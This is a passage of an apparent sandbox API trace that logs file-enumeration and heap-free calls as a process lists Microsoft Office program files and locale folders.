ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0 [0170.893] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0170.893] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0170.893] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1 [0170.895] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0170.895] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 0 [0170.895] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0170.895] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0170.897] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf403dbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf58154c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf370c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0171.094] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0171.094] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0171.128] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0171.128] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0171.128] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0171.128] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0171.129] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="LogoImages", cAlternateFileName="LOGOIM~1")) returned 1 [0171.441] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0171.441] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0d91a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde4d0d64, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979a48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="lync.exe", cAlternateFileName="")) returned 1 [0171.669] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0171.669] FindNextFileW (in: hFindFile=0x4532040, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x38b7c4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MeetingJoinAxOC.dll", cAlternateFileName="MEETIN~1.DLL")) returned 1 [0172.059] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.059] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1 [0172.059] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.059] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1 [0172.059] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.059] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf803d796, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf803d796, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1 [0172.060] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.060] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1 [0172.060] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.060] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1 [0172.060] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.060] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="el", cAlternateFileName="")) returned 1 [0172.060] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.060] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0172.061] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.061] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1 [0172.061] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.061] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1 [0172.061] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.061] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1 [0172.061] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.061] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi", cAlternateFileName="")) returned 1 [0172.062] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.062] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1 [0172.062] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.062] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1 [0172.062] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.062] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1 [0172.062] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.062] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1 [0172.062] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.062] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1 [0172.063] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.063] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1 [0172.063] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.063] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1 [0172.063] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.063] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18ae17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ae17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fcc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipcsecproc.dll", cAlternateFileName="IPCSEC~1.DLL")) returned 1 [0172.063] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.063] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1 [0172.064] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.064] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1 [0172.064] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.064] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1 [0172.064] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.064] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1 [0172.064] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.064] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1 [0172.065] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.065] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ms", cAlternateFileName="")) returned 1 [0172.065] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.065] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b3ce622, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msipc.dll", cAlternateFileName="")) returned 1 [0172.065] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.065] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1 [0172.065] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.065] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl", cAlternateFileName="")) returned 1 [0172.066] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.066] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt", cAlternateFileName="")) returned 1 [0172.066] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.066] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0172.066] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0172.066] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, 